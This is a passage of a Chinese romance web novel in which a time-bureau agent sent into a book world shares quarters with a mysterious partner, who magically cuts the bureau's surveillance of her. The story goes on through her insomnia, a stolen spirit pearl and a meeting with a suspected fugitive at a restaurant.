抱着最后一丝希冀,她在终端面板的角落找到一个“刷新任务”的系统选项。
「请问是否要刷新与男主的互动任务?刷新一次:10积分」
这还需要犹豫吗?她小心翼翼点了一下「是」
「叮——恭喜触发支线任务:和男主同床共枕(1个小时以上)(积分奖励:1000)」
寂静黑夜中,时予欢化身被掐住脖子的尖叫鸡。
刷新!赶紧再刷新!
「叮——恭喜触发支线任务:和男主共处一室(48小时以上)(积分奖励:1000)」
“……”
再徒劳刷新了三四次后,时予欢沮丧地捂脸,情绪低落到了极点,看上去,就像老天跟她开了个玩笑似的。
所以翌日清晨,当时予欢顶着一对黑眼圈出现在千亦久面前时,实实在在的,把对方轻微吓了一吓。
她没有呆在温暖的厢房,反倒是抱膝坐在院子冰冷的石凳上,头发乱的翘了根呆毛,像只炸了毛的动物,眼圈是黑的,人是沮丧的。
今天天气很好,雪停了,早晨的阳光晴朗清爽,千亦久打着哈欠的手僵在半空,好奇地看着她。
“你……”他顿了顿,换了个描述,“应该不至于用猝死来逃避现实。”
时予欢恹恹地抬了抬沉重的眼皮,声音飘忽:“不,是在恪守职业道德,跟你保持距离。”
“距离?”千亦久饶有兴趣的挑了挑眉,似乎是觉得这个说法挺有趣。他走下台阶,不紧不慢地朝她走去。
“你站住!”时予欢像兔子似的一蹦,“别过来!”
昨晚她不死心,曾偷偷溜进他的房间试过——只要跟他只要在同一个屋檐下,一靠近他进度条就涨!一靠近就涨!
千亦久果然停了脚步,他没继续靠近,只是抱起手臂倚靠在屋檐下的廊柱旁,宛如风衣的蓝袍轻轻掀起,慵懒而随意。
“啊。”他语气平淡,仿佛在说今天天气不错,“收到系统派发的奇怪任务了?”
时予欢悲愤地揉了揉头发:“你就没收到吗?!”头发更乱了,呆毛更翘了。
这种不正经的任务难道还是定向投放的?凭什么只有她受害?
也不对。
虽然好像是她占对方便宜,受害人的应该是千亦久。
“我没有与总部联系的个人终端。”千亦久略略低头思索了一阵,说道,“我应该说过,我是错误投送到这里的。”
他抬眼,清凌凌的目光落在她一翘一翘的呆毛上:“具体任务是什么?”
嗯……该怎么说呢,时予欢又烦躁地揉了揉自己的头发,话到嘴边几番又咽了回去,无论如何都没办法将“共处一室”这四个字说出口。
“过来。”见她一反常态的踌躇,千亦久倒是果断了,“把你的终端给我。”
时予欢挣扎了几秒,直到清风冷冷一刮,她打了个寒噤,最后像自暴自弃似的磨磨蹭蹭挪过去,把那个惹祸的,将手机一样的随身终端交给他:“那你,那你还是自己看吧。”
千亦久接过,指尖在冰冷的屏幕上滑动。
他看得很专注,侧脸轮廓被灰白的晨光勾勒得清晰而冷淡。时予欢偷偷瞥他,看见他浓密的睫羽低垂着,睫羽下,是一双像黑曜石一样漂亮的眼睛。
只是,他漂亮的眼睛里没什么情绪。
片刻后,他抬头问了一个出乎意料的问题:“拒绝的理由是什么?”
“什么?”
“任务本身很简单,报酬丰厚,且直接关联你的绩效评估。”他语气平缓,就像青春热闹的校园里,在分析一道数学大题的学长,“我看不出拒绝的必要性,你在顾虑什么?”
“我……”时予欢怔了一怔。
她昨晚其实为了这件事抓狂了很久很久,犹豫着千亦久的态度,怕他误会怕他尴尬,也怕任务本身唐突而不合适,也犹豫着想过:只是支线任务而已,不做也没关系。
可她确确实实很想要支线任务的积分。
因为,在没有接手这次的穿书任务前,她也确确实实面临着一场解雇危机——
时空管理局作为时序委监督下的最高情报与政治机构,实在是一个太过庞大冗杂的巨物了,数十万机构探员仿佛蚁群寄生于地底一样,寄生于这座庞然巨物中。
很不幸,越是庞大冗杂的机构,也意味着派系对立与小团体斗争越严重……简单点儿讲,俗称“官僚主义”。
时予欢以优异的在校成绩被招进时管局,本该潜力无限,但很可惜,老前辈看不起她的年轻,仗着资历使唤她,同事嫉妒她的幸运,抱团合起伙来排挤她。
半年被边缘化的职业生涯,让她即将面临调岗裁员。
生活不是童话。
她不会成为故事里的灰姑娘。
她所焦虑的也不是十二点的舞会该穿哪条漂亮裙子。
而是一句冷冰冰的——
“干的出成绩就留下,干不出就滚蛋吧!”
所以,当如此简单而没有任何难度的任务被刷新出来,当翻了好几倍的积分奖励摆在她面前时,她十分没有原则的,就像一个见钱眼开的穷鬼那样,犹豫了。
探员穿书只为执行任务,搭档恋爱当然会被禁止,时予欢不知道完成暧昧的支线任务,算不算违规。
她害怕总部的监视,时管局对书中世界有至高无上的控制权,只要等研究员们修好程序,自己的一切行动都会被记录在案。
默了很久,只有冷风吹过庭院的轻响。
然后,她听见一声极浅极轻的,几乎融在晨风中叹息。
“仅此一次。”千亦久的嗓音响起,带着他特有的懒散与随意,“下不为例。”
时予欢茫然抬头:“……啊?”
下一秒,她睁大了眼睛。
只见千亦久的掌心微拢,一缕冰蓝色的,仿佛由细微电子流光组成的数据流自他指尖轻盈溢出,如同拥有生命般绕上她的终端。
“是还礼。”他说,“昨夜你邀我过节的还礼。”
他的语气平静而专业,仿佛在做的,只是一件最微不足道的小事。
光芒闪烁,屏幕上那些代表监控和链接的细小图标,一个接一个,无声无息熄灭了。
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“对于‘共处一室’这个任务,如果你是担心我的态度,我无所谓,在哪里消磨生命都是消磨生命。”
“如果你顾虑的是违规记录。”随着他指尖轻轻一划,最后一道监控标识彻底消失,“现在不用担心了。”
他说:“我摧毁了时管局对你的所有控制渠道,包括通讯、定位、行为记录和生理监视。”
他将内在权限已然翻天覆地的终端还给她。
“现在,你想做什么都随你,他们‘看’不见了。”
时予欢懵然地接过终端,不知所措地看见「共处一室」的进度条就这么涨啊涨啊涨,比坐火箭还快了。
任务没变。
只是任何违规行为都不必担心被发现了。
时予欢眨巴眨巴眼:“这,这种东西也是能毁的吗?”
“通常不能。”千亦久收回手,数据流光在他指尖消散,“不用担心,按照时管局那群人的智商,修不好。”
时予欢心底那点儿纠结和沮丧,瞬间被这巨大的“作弊”冲得七零八落,她眼睛一亮:“你你你……你还能改别的吗?比如世界观?比如任务本身?或者修改通关条件?”
“不能。”千亦久直白地打断,“核心任务权限需要物理接触中央服务器,我现在办不到。”
时予欢还是很高兴,头顶呆毛一跳一跳的,与刚才的颓丧判若两毛。
……
不太高兴另有其人。
时空管理局的老研究员们抓狂了。
在经过一晚的探讨后,他们认为将女主强行带离办法不是没有:入侵大脑,强行接管身体与思维行动,虽然会对这个女孩的大脑与身体都造成不可逆的损伤,但无所谓,能完成上级命令,将人带出书中世界就行。
就在他们试图执行该方案时,猛然间,一阵尖锐的、刺耳的、仿佛催命符似的警报声再度拉响整个控制台。
「检测到不明来源的数据入侵!警告!对时予欢探员的控制程序正在受损!」
系统故障声、终端代码运转声此起彼伏,然后,应急程序完全失效。
所有人都吓了一大跳,完全不可置信,研究员也慌了,自警告声响起后所有数据全部混乱,所有权限全部失控。
疯了吗?那个罪犯疯了吗!
时管局的数据安全系数放眼寰宇都是属于第一级别的严密,采用的永远是联邦研究所最高最新的尖端科技,在无尽的时光中从没被任何组织成功入侵过!
可现在到好!这个罪犯入侵时管局系统简直像逛无人之地似的!数据想偷就偷,程序说改就改,拿时管局当什么了?当他自己家吗!
再次的,时管局乱成了一锅粥。
……
时予欢顶着硕大的黑眼圈神采奕奕。
她觉得新同事真的人好好,超好!脾气也好!现在和他呆在一起什么都不用干就能涨积分的感觉更好了!让她想想,可以干什么不越界但很有意义的事儿呢。
她捧着终端,开始在屏幕上兴奋地划拉。
千亦久看着她瞬间焕发的侧脸,不易察觉地蹙了蹙眉:“还有问题?”
“没!”时予欢的嗓音很轻快,“你忙你的,不用管我,我在查攻略。”
“?”
“《高效同居生活手册》《空间共享和关系边界》《同居的一百种创意》!”她嗓音如银铃好听,像在念一首首诗歌,“我在研究,一般被迫……不是,一般自愿同居的两个人在一起都会干些什么?”
“……”
不。
好像哪里不对。
千亦久想,他最初解决问题的目的绝对不是让她干这个。
5. 失眠的公主
对于要和千亦久共同生活一段时间这件小事。
时予欢是很紧张的。
只因她从小就有个小小的毛病。
认床。
更准确地说,是认“安全区”。
在缺乏安全感的环境,多忧浅眠易惊醒,科学上管这叫“首夜效应”,但时予欢的首夜效应,却首夜的十分漫长。
记得很小的时候,父母时常整宿整宿的吵架,歇斯底里的吵架声吓得她蜷在角落里不敢睡觉,后来,父母离了婚,母亲带着她每隔几年就搬次家,每次刚搬家完,她也会整宿整宿的失眠。
寻常人认床,适应适应就好;时予欢却不是,她认床,是非得跟新床拼个你死我活不肯罢休的,直到彻底熬不动了,身体疲惫到罢工,再往柔软的枕头上一栽,勉强能睡了。
对她而言,失眠时世间的一切都是吵闹的,雨声是吵的,风声是吵的,以至于,连呼吸声也是吵闹的。
她担心自己不健康的作息习惯给千亦久添麻烦。
事实证明,她想多了。
千亦久对她一切的“领地入侵”行为都是无所谓的。
他慵懒地倚着门框站在一旁,看着她忙前忙后划分空间,直到时予欢趴在窗沿上,兴致盎然地给一朵开在青苔上的小花拍照时,他终于忍不住了。
他问:“为什么要拍照?”
她答:“要记录生活。”
千亦久似乎没办法理解她的话,在他眼里,时间庸碌,生活本身并无意义,可在时予欢的心中,就连开了一朵花儿都是值得庆祝的。
最终格局定下:一间房,一扇落地屏风隔开两边,屏风下置着一个袅袅生烟的白芷安神香炉。
正当时予欢冥思苦想该找点儿什么事做来打发时间的时候,恰巧侍女来禀,王后说,殿下的禁闭还要再关上那么一关:一来她搞砸了相亲宴,如今惹得王城中人对她流言蜚语;二来再过几日,就是鹿蜀国的除祟祭,王后希望除祟祭时,她能备个贺礼,重新再去见一见那位连山少君,以表歉意。
时予欢觉得这个道歉没有道理。
她自认不欠那位连山少君什么,但却又想起那日简小姐曾告诉她:男主和罪犯都会在即将到来剧情节点登场——男主确确实实有了,那罪犯呢?
是以,时予欢觉得,这位连山少君,还是得见上那么一见。
反正睡不着,她决定再熬一个通宵,亲手雕一盏烛灯法器充当贺礼,既实用,又不会显得太过亲密。
天色悄悄从天鹅绒般的浅蓝,变成阴冷的深灰,她刻得专注,头顶呆毛也一蹦一跳。
直到身后一片颀长的影子,无声无息地拢过来。
“据我所知今日是周末。”
时予欢转眸,似懂非懂地望着来人:”没错……?”
最后一丝日光从窗棂的明暗中滤下,千亦久站在灰蒙暧昧的光晕里,本就高挑的轮廓被拉得更加修长。
他撩了撩眼帘,似乎没法理解:“你连休息日也选择……不休息?”在他的记忆里,只有研究中心的偏执科学家才这样连轴转。
“睡不着。”时予欢垂下眼,继续雕琢着一片花瓣的纹理,小声道,“太吵了。”
“吵?”他几不可察地蹙了蹙眉。
“你听。”时予欢停下刀,隔着窗,她听见喧嚣的夜色,“王城中歌舞通宵,闹市夜游,还有走兽的长啸。”
千亦久闭了闭眼去听,确实有,但并没有到达让人类难以入眠的地步。
“等我忙完,累极了就能睡了。”话题聊这儿,她忽然想起什么,再次抬头时,目光里带着小心翼翼的期盼,“能……帮我个忙吗?”
千亦久平静地注视着她,没答应,也没走开。
“我想要一颗夜明珠用做灯芯。”时予欢握着刻刀比划了一下,“我出不去,只能拜托你。”
千亦久眼看着就要说出那个拒绝的字眼:“我不……”
“看在我们是同事!上班搭子……不对,看在是朋友的份上!”时予欢双手合十,脑子转得飞快,眼睛也眨得飞快,试图拿真情感化对方,“我们……应该能算朋友吧?”
也不知是哪个词压中了,亦或许是哪个词都没有压中。总之,时予欢悄悄抬眼看他,她看见千亦久沉默了片刻,终是别开了视线。
“……我可能会晚归。”他语气平淡,仿佛刚才开口就要说拒绝的那个人不是他,“也可能不会回。”
也可能不会回,别等。
后两个字,被他藏了回去。
时予欢笑开了,眉眼弯弯的:“没问题!”
夜明珠是个挺常见的东西,但要短时间找一颗亮度、大小、外观、澄澈度都刚刚好合适的,也不算太容易。
千亦久走后,时予欢又沉浸到雕刻中,她做事极易投入,雕好灯座添上灯油,再回神时,已是更深露重的后半夜。
依旧毫无困意,她掐指一算,按照经验,这场与失眠的拉锯战,恐怕还得再熬一天。
她正专注呢,围墙后忽然响起人声,听上去像是两位侍女在闲话。
“晓得么,帝姬殿下招惹了浮生帝宫的煞神,与后面几位相亲对象的见面大概都黄了,真不知道怎么想的。”
“啊,惹上那位,她怕是要倒大霉了吧。”
“但也说不准,连山少君似乎对这位殿下格外不同,兴许看在连山王都的面子上,还能护她一护。”
“所以帝姬殿下的亲事最后定的人是连山少君?总不能真是上头那位煞神吧。”
“随便吧,反正有什么好事,王后也从来都不会记得她,难道你看不出来相亲只是应付国君的意思走个过场?”
“好吧,你说的对……”
关于小帝姬扑倒帝宫鹰犬并口出狂言的轶事,谁也没当真——浮生帝宫不会应许,鹿蜀王后不会应许,而这位鹰犬本人……
想象不出来。
大家天然能想象一个鹰犬作恶杀人的模样,但却没法去想象这样的鹰犬,要是喜欢上一个人,又该是什么样子。
时予欢安静听着,其实她很能共情故事里这位小帝姬的经历,记得小时候,有一次父母吵架吵得她实在太害怕了,想逃跑,于是背着小书包就离家出走,等气喘吁吁跑到几公里外的巴士站台了,却因没有身份证而买不了票。
于是她只能灰溜溜地回去,结果一回去才发现,父母还在互相冷战怄气,连她的消失都不知道。她才觉得自己这个离家出走,出走的十分失败,十分没有水平。
她还记得在时管局参加入职培训时,前辈们说过:故事中的故事,都是现实的映照,现实里你经历过什么,在故事里,你也就会得到一段相似的经历。
时予欢想,老天到底是将她看得彻底,想来这个鹿蜀国于她而言,还真的是她童年的一片影子,鹿蜀国君与王后都不重视她,无非是因为,她从小也都没被人重视过。
所幸她早已不是当年赌气离家出走的孩子,对这些事早已看得很淡,很透彻了。
……
今夜,发生了一桩让鹿蜀王后十分头疼的事。
在铃冬谷深处有一座深渊,渊中住着三只恶蛟,恶蛟守着一个珍宝,又叫灵火珠,自天地精华孕育而生,漂亮罕见,是个十分难得的护身宝物。
鹿蜀的几位公主都吵着闹着想要了许久,但恶蛟难除,重金下悬赏了多年,甚至有王都中人闻讯而来,却无不铩羽而归。
鹿蜀王后一向爱惜子女,子女所求没有不准,除祟祭将至,王后下定决心要满足女儿们的愿望,结果带人闯渊后一瞧,只见深渊被毁得七零八落,恶蛟俱亡,而灵火珠这宝物,早不知被何人先一步窃走了。
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……
千亦久回来的时候,室内漆黑一片,时予欢还没睡,正托着腮望着窗外连天风雪。
听到脚步声,她立刻转头,见到来人时眼眸一亮,像被风雪擦亮的星星。
“没有选到合适的夜明珠。”
千亦久眉心微蹙,似乎对这次“采购”结果不算满意,他掌心向上,缓缓托起一物——
一颗流光溢彩的珠子静静悬浮,内里仿佛封存着一小团跃动的暖阳,光华流转,将周遭都映得透亮温润。
“顺手拿了颗别的。”他语气随意地像再说换了杯茶,“你看看,能不能将就。”
“这……这太漂亮了!”时予欢忍不住惊叹,这哪里是将就呢,她可从来没见过这么漂亮的宝石。
千亦久将珠子交给她,转身就去更衣,他外袍的一角沾着血,不是他的,虽说无论是杀人还是杀妖他都没有心理负担,总归不是没有做过,但每次动手都会想起以前令他不快的记忆,连带着,也就不喜欢动手时沾上的血。
他瞥了一眼那璀璨的灵火珠:“得淬炼一下这珠子,沾了邪祟的浊气。”
时予欢用力点头,小心捧着珠子:“嗯嗯。”
她想试试这盏床头小夜灯的亮度,于是在黑暗中穿过屏风走到一张床塌上,人坐上去,珠子和灯座也摆在床上。
她捧着珠子抬手施了个小法术,耐心地等待着上面的浊气一点点被褪去。
夜色像幕帘一样悬着,寒冷的,雾蒙蒙的。王城的热闹依旧吵吵嚷嚷,没完没了,墙角里,八卦的侍女们说几位公主们正在大哭大闹不依不饶。
时予欢对外面的一切都不感兴趣。
她只觉得掌心的这颗珠子真的很暖和,像冬日里的手炉,像雪夜里的火柴,像奶油一样融化着她紧张的,紧绷的精神。
当千亦久换好干净衣衫回来时,看到的情景让他脚步微顿——
时予欢睡着了。
一向活泼的女孩儿不知何时,竟蜷在他的床塌上安然睡去,乌黑的头发像云一样摊开着,睫毛安然垂落,呼吸清浅而绵长。
她的怀中,还抱着他给的那颗灵火珠。
她似乎睡得很沉,连指尖力道松了都浑然不知。噗通一声,灵火珠从她怀里滑落,滚落在了铺着丝毯的地面。
奇怪。
怎么睡着了?
千亦久慢慢走上前,将珠子轻轻拾起,想还给她。
梦中的时予欢似乎感知到温暖源消失,无意识地伸出手,在空中摸索……她的指尖碰到了他拿着珠子的手,顿了顿,然后,她轻轻攥住了他的手指。
他的手也很暖和。
“噗通。”灵火珠再次滚落回地面。
这一次女孩儿不再寻找了。
她抓住了想要的,便不肯再松手。
千亦久怔住了。他忽然回想起初次见她,漫天飞雪下,她的裙摆层层如花绽,跑起来,轻盈的模样像只从森林里来的迷途小鹿。
可她穿得那么少,比旁人都要单薄。
千亦久倾了倾身,用另一只手重新拾起那颗珠子,将它轻轻放入那盏已雕好的烛灯灯座中央。
“嗤——”灵火珠被引燃,化作一团稳定、柔和、暖意融融的光源。他将这烛灯往她身畔推得近了些。
融融暖意悄然弥漫,比世间任何壁炉还要温暖。
千亦久想起在实验室时,研究员们闲聊时总抱怨冬天的日子不好过,空调得开高点,暖气必须开足,免得晚上睡不好。
女孩儿说睡不着是因为这个世界太吵了。
千亦久的目光动了动,落在她熟睡的侧脸上。
或许,不是世界太吵了。
是她太冷了。
他想。
这个女孩儿需要的,大概,只是一盏小小的火苗。
6. 躲雪
时予欢觉得自己在做梦。
她有证据。
她明明记得自己是在床上淬炼一颗漂亮珠子,不知怎么着,眼帘越来越沉,像天使的羽毛一下又一下安抚着她,让她沉沉坠落进梦乡。
也许是她感到了前所未有的放松和安心,所以困了,但她想不明白,自己又为了什么而感到安心,就为了一颗漂亮珠子?这不讲道理。
她起先梦见自己抱着个火炉,还行,她宽慰自己抱的起码不是一根很快就会熄灭的火柴,可梦到一半,这火炉竟长了个腿,咕噜咕噜地跑了。
时予欢感到生气:你一个火炉凭什么有资格逃跑,你再不济,也得给我烤点儿食物才能跑呀!这一恼,她就去追,却一头栽进一片暖和的气息里。
这缕气息的主人离她极近,带着散漫慵懒的水生调冷香,像晨雾笼罩的海浪,像掠过浪尖的飞鸟。
她喜欢这种自由而无拘无束的味道。
时予欢不记得自己认识的人中有谁是这样的气息,可见是梦糊涂了,她觉得自己应该是抓住了个蒸鸡。
哦,是了。
火炉和蒸鸡,这才说得通。
于是时予欢一口朝着那只蒸鸡扑过去,想一饱口腹之欲,气息的主人似乎也在和她较劲,死死摁着她,不许她咬,甚至伸出翅膀在她额头上轻弹了个栗子。
额间被轻抚地一疼,时予欢梦呓着“哎呀”了一声,觉得一只蒸鸡你还跟我叫上板了?好啊,今日我倒要让你瞧瞧,这个家里,到底是谁当家作主。
她再次伸出手死死抱着对方,吃不到,吃不到也不许跑。
“抱得还满意么?”
夭寿啦!蒸鸡开口说话啦!
时予欢心里一跳,这一唤,醒了。
她茫然地眨了眨眼,待思绪清明,才往四周一扫:还好,雪还是那么场雪,房间还是那个房间,人还是那么个……人。
她和千亦久四目相对。
眨巴眨巴眼,哦豁。
她震惊不敢相信地低下头,瞧见自己的手死死攥着他的指尖,几乎将对方攥得泛红,仿佛他要是从她身边跑了,就是多大的罪过似的。
哦豁。梦里的蒸鸡变做了个俊美少年,现在这个才是梦吧。
时予欢默默闭上眼,认真想了想,用另一只手朝着大腿上狠狠一掐……不痛,太好了是梦,尴尬的不是我,丢脸的也不是我。
头顶上,凉悠悠的嗓音飘过来:“你掐的是我。”
时予欢假装听不见,听不见听不见听不见……
她用另一只手迅速扯过被子盖到自己头顶上,仿佛初生雏鹿往蕉叶里钻一样不讲道理。
“还不打算松手?”好整以暇的嗓音又说话了,带着一点儿蛊惑人心的微哑。
时予欢一僵,垂头看了看自己“犯罪”的爪子,又假装无事发生的松开,隔着层被子瓮声瓮气地抗议:“我觉得你是个糟糕的同僚。”
千亦久终于得以活动被牵了一晚的手指,慢条斯理地问:“指控理由?”
时予欢从被子里探出脑袋,虽然心虚,但辩论的气势不能输,她大大方方地直视着他,装出一副很坦然的模样。
不小心暧昧了一下而已么,谁先尴尬谁问心有愧。
“虽然抓着你不放是我的不对。”她脑子转得飞快,语气也自信了,“但是,但是么……我觉得你也是帮凶。”
千亦久眉梢一挑。
她点点头:“你在纵容,默许我的行为。”
顿了顿,她觉得自己灵光乍现抓住的这个逻辑漏洞非常有力:“你想啊,我一个睡着的姑娘家,又能有多大的力气?你明明可以轻易挣脱,为什么没有?”
这个清晨实在很好,宜人的微风轻轻流淌,阳光鎏金璀璨,时予欢看见,梦中带着水生调气息的少年此时正懒懒地坐在金色的骄阳中。
“想知道答案?”他故作思考状,看着人很来气。
时予欢点了点头。其实她自己也想不太通,一是想不通自己怎么能在这般复杂的环境下还睡得这样沉,睡得这样不设防;二是真想不通,千亦久怎么真的在她身侧坐了一晚上——他就不能强硬抽回手,回自己的床上去睡么?
总不能是舍不得吵她吧?不能哦,这是什么感天动地的神仙队友情。
迎着她好奇的视线,千亦久微微凑近了,漂亮的眼睛在阳光的衬托下更加夺目。
时予欢微微屏住了呼吸。
“因为你睡的是我的床。”
“……”
时予欢啪唧一下,蔫了,呆毛也蔫了。
她默默又躺了回去,一把拉过被子蒙在头上,一副“谁也别理我我想死”的颓丧。
“被子也是我的。”
“……”
孽缘啊。
时予欢捂着脸跳下床就跑了,临了,还差点儿被门槛绊一跤。
她蹲去后院墙角吹冷风,在飒飒晨风中雄心壮志定下一个目标:最近一定要躲着千亦久,尽量不要跟他碰面。
但介于两人同在一个屋檐下,这个目标实施起来有点儿难度。
没关系,只要错开……
“你蹲在这里做什么?”
她的宏伟计划还没落地,就听见千亦久清冷的,不带情绪的嗓音再次在头顶响起。
他不知道什么时候来了,只是微微俯身,用一种探究的目光观察着她的行为。
“啊……!”时予欢完全没想到他来得这样快,吓得惊叫一声,弹起来就跑。
于是,晴朗的雪庭里上演了一场单方面的“躲与藏”。时予欢上蹿下跳,一会躲进花丛里,一会藏进树冠里,到最后,她甚至爬上了屋檐上。
而千亦久,总能“恰好”发现她。
最后,时予欢坐在屋檐上,自暴自弃地捂脸:“你就不能让我独自一人消化尴尬么?”
千亦久站在屋檐下,微微仰起头看她。
“原来你在尴尬。”是一种恍然大悟的陈述。
时予欢默默捂脸:“当然尴尬啊!你想,从同居室友的床上醒过来,还被抓了个正着,这件事听上去怎么想怎么奇怪对吧!”
她一鼓作气把想说的话说完,等着千亦久反驳她。
然而这一次,千亦久却沉默了。
等了很久很久,久到时予欢差点儿以为他已经离开了,她小心翼翼地偷偷探出脑袋,趴在屋檐上向下窥看。
千亦久还在,他站在原地,垂着眼眸,雪花就飘落在他纤长的睫毛上。
“抱歉,我缺乏和人相处的经验。”
半晌,他轻轻说出了这样一句。
“我在尝试理解你的行为模式,但似乎不太成功。”
时予欢一噎,她压根没想到千亦久是没意识到她在尴尬,迟疑片刻,她干巴巴的问:“喂,你在实验室工作了多久?”
他想了想,回答:“二十三年。”
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时予欢忽然没来由的心生怜爱了,这算个怎么回事呢,她都想象到他以前的工作环境了:偌大的实验室,冰冷的数据,里面或许就没有正常人——不好意思她对科学家抱有刻板印象。以至于千亦久都不太会跟人交流了!真是好可怜一孩子。
“好吧,就当和你玩了一局捉迷藏,你赢了。”同情心占领高地,她所幸放弃躲藏计划——反正这通折腾下来,最初那点儿脸红心跳也散得差不多了。
千亦久微微蹙眉:“捉迷藏是什么?”
时予欢诧异:“你小时候没玩过?”
“没有。”
“唔,大概就是一个人和一群人互相躲来躲去,找来找去的游戏。”
他略略思索,给出评价:“听上去很奇怪,你喜欢这种奇怪的互动?”
“一般吧。”时予欢想起了自己的过往,轻轻叹了口气,“小时候总跟着我妈搬家,没有什么固定游戏玩伴,玩过一两次就觉得没意思了。”
说到这儿,她忽然警觉:“等等,你怎么每次都能找到我?”
虽说整个院子就这么大点儿地方,要藏也不是不能藏,但千亦久找她的速度委实像开了天眼。
「检测目标人物正在附近,‘共处一室’任务正完成中,进度30%……」
千亦久垂下视线低头看向他手中的终端,准确来说,那是时予欢的终端,但她把它遗落在房间里了。
「检测目标人物正在附近,‘共处一室’任务正完成中,进度31%……」
如上,这简直是一个行走的,准确率高达100%的定位播报器,以至于自带寻人效果。
一旦互相靠近进度条就涨!狂涨!掺不得半点儿水份的涨!
时予欢:“……”
叛徒!墙头草!什么破系统!还记不记得你绑定的主人是谁!
她一时怒从中来,直接从屋檐上往下一跳,朝着千亦久扑过去。落得急了些,以至于踉跄了一下,却被千亦久稳稳扶住腰际。
她哪里顾得这些。
“还我。”她踮起脚尖伸手去够。
千亦久举高了终端,脸上仍没什么表情,但语气却挺玩味:“不。”
时予欢半扑在他怀里,气鼓鼓地看着他,终端近在眼前,却怎样都够不到。
“为什么!”她垫了垫脚,还是够不着。
好气哦。
千亦久浅浅地叹了口气:“刚刚有侍女来禀,你的禁闭解除了。”
时予欢:“啊……”
“所以。”千亦久顿了顿,慢悠悠补充,“要去吃早饭么?你之前说,想体验铃冬谷最贵最阔气的酒楼。还强调,必须公款报销。”
时予欢想起了了,确有其事,只是后来被关忘了。
天上零星飘雪,千亦久转身,顺手取过门下立着的一柄素纸伞,撑开,慢悠悠走进雪里。
时予欢两三步追了上去,钻到了他的伞下。
千亦久侧眸看她,眼底似有询问。
“蹭下你的伞啦。”她这回是真的理直气壮了。
“不会因为尴尬而躲着我了?”他语气平淡,却像藏着钩子。
「检测目标人物正在附近,‘共处一室’任务正完成中,进度32%……」
还躲么。
不躲了。
时予欢默默别开目光,耳根微热,嘴上不肯认输。
“谁躲,谁问心有愧。”
7. 完美犯罪
铃冬谷最招牌最老字号酒楼,叫八方客。
千亦久虽说只提议出来吃饭,但具体在哪儿吃,吃什么,都是由时予欢拍板定下的,她对此做足了攻略。
狠心包了个上上座,吃得是百味珍馐,饮得琼浆是玉液,几乎把她的家底搬了个半空,对此,时予欢很是肉痛。
千亦久喝着茶,挑眉看她。
“你抱着这盏灯做什么。”
八方客人来人往,三层楼高,时予欢趴在栏杆上伸着脖子往外瞧,怀着抱着的,正是前日里她用灵火珠制成的那盏烛灯。
“我打听过了,这八方客歌美舞美,这样一处花天锦地美人乡,正是连山少君近日常爱来的地方,我们若是运气好,说不准能蹲到他。”
千亦久思索了一会“连山少君”这号人物到底是谁,到底没想出来,他蹙了蹙眉,顺着她的话问:“见他做什么。”
时予欢说:“是这样,鹿蜀王后撤了我禁闭的前提是,我得因在相亲宴迟到一事给连山少君赔礼道歉,不过我自觉没有做错什么,顺水推舟见他,也不过是为了另一桩事。”
她的目光在酒楼上下来来往往的过客中扫来扫去,继续道:“我是为了追查时管局系统入侵案的罪犯才来到这个世界的,那日联络员同我说——罪犯会在开局的剧情节点出场。”
想了想,又说:“那天不太顺利,我不小心招惹了你,以至于我不确定我是不是惹出了蝴蝶效应,因为听说那天下午我还有一场相亲宴来着。”
千亦久瞥了她一眼。
时予欢以手支颐,一边思考一边又说:“我被关了禁闭,后来我想了许久我那日都见过谁,有名有姓也不过就三个人:你,鹿蜀王后,连山少君。”
顿了顿,她下了个粗糙的判断:“我不觉得罪犯会是鹿蜀王后,当然,如果连那种叫不出名字的路人也算在内,我就没办法了。所以我也只能将目标锁定在连山少君身上。”
千亦久斟茶的手一顿,忽然觉得,早知她那盏烛灯是用来送旁人的,他特意寻来那颗珠子,亏了。
“你……”他蓦然道,语气听不出是夸奖还是别的情绪,“您能者多劳。”
事实证明,功夫不负有心人。
时予欢伸着脖子张望了半天,终于在三楼楼梯口,瞥见一抹摇着折扇的,青色云纹官服的背影。
“啊,我看见他了。”
说罢,她抱着烛灯,拎着裙摆就朝那抹影子独自追了上去。
为了保证达官贵人们的舒适,酒楼的三楼被设下了结界,会滤掉一切三楼以下的动静,等她拨开重重宾客冲到三楼雅间外时,却被连山王都的亲卫拦住了。
亲卫们不识得她,这也难怪,这位小帝姬自打被贬谪下凡后,从未离开过这座山谷,被关在谷底,外面的人哪能认识她呢。
“放我进去,我是真有急事见你们的少君。”时予欢有点儿抓狂,迅速思考着该找个什么理由,或搬个什么借口闯进去,用千亦久的名号吓唬吓唬他们管用么?
就在她抓耳挠腮时,却听得雅间传来一声浅笑,抬头望去,只见一柄花鸟折扇徐徐拨开罗帐珠帘,露出一双矜贵风流,含笑多情的眼睛。
“小帝姬?”连山少君略带惊奇地看着她。
连山少君本名陆青玄,乃连山王都的继任者,也是这天地间惊艳四方的风流神仙公子,听闻连山与前任帝后有那么一二交情,时予欢猜测,这也是他肯在婚姻一事上选择她的原因。
时予欢赶忙拨开亲卫闯进雅间内,在屏退所有人,又谢绝了陆青玄邀她宴饮的好意后,她先是将灵火烛灯往桌案上一搁,站正了身子拱了拱手,十分客气地说道:“那日晾了你那么久,是我的不是,这盏灯是我制一夜雕成的,若你不喜欢……不喜欢的话我还能雕别的。”
她攥了攥指尖,制灯时她在那盏灯座上动了手脚,若陆青玄真是逃进书中的神秘罪犯,那灯即刻就会有感应。
“原来这珠子在你这里。”陆青玄握着灯仔细端详了一阵,恍然道。
时予欢愣了:“什么?”
陆青玄道:“小帝姬,这灵火珠是谁给你的?”
时予欢沉默了,看上去不打算回答。
陆青玄笑道:“这珠子乃是上古创世神鸟三白乌陨落后一缕精气凝成的神物,听闻鹿蜀的几位公主想要了它许久都未曾如愿,如今居然被你拿来做了盏灯。送你珠子的人肯如此一掷千金只得佳人一笑,连我也得拜服了。”
时予欢蓦地睁大了眼睛,完全没想到千亦久随手寻来的东西竟这么有来头。
“收回去罢。”陆青玄似乎并不打算要她的东西,只说,“不过,送你珠子的那个人,恐怕危险了。”
时予欢茫然的拿回灯,怔住了。为什么说送珠子的人危险了?千亦久有危险了?
陆青玄道:“唔,虽说我觉得这珠子乃无主之物,但鹿蜀王后近日派了不少暗卫在整个王城大肆搜捕窃珠者。送你珠子的人灭了恶蛟,又沾了这珠子灵息,恐怕很快就会被王后的暗卫们找到。”
……
与此同时,八方客酒楼一层。
方才还人满为患,热闹喧嚣的大堂不知什么时候被清了场,空空荡荡的正座中央只余一位公子悠然坐于其间,此人白衣蓝袍,慵懒的自成一景。
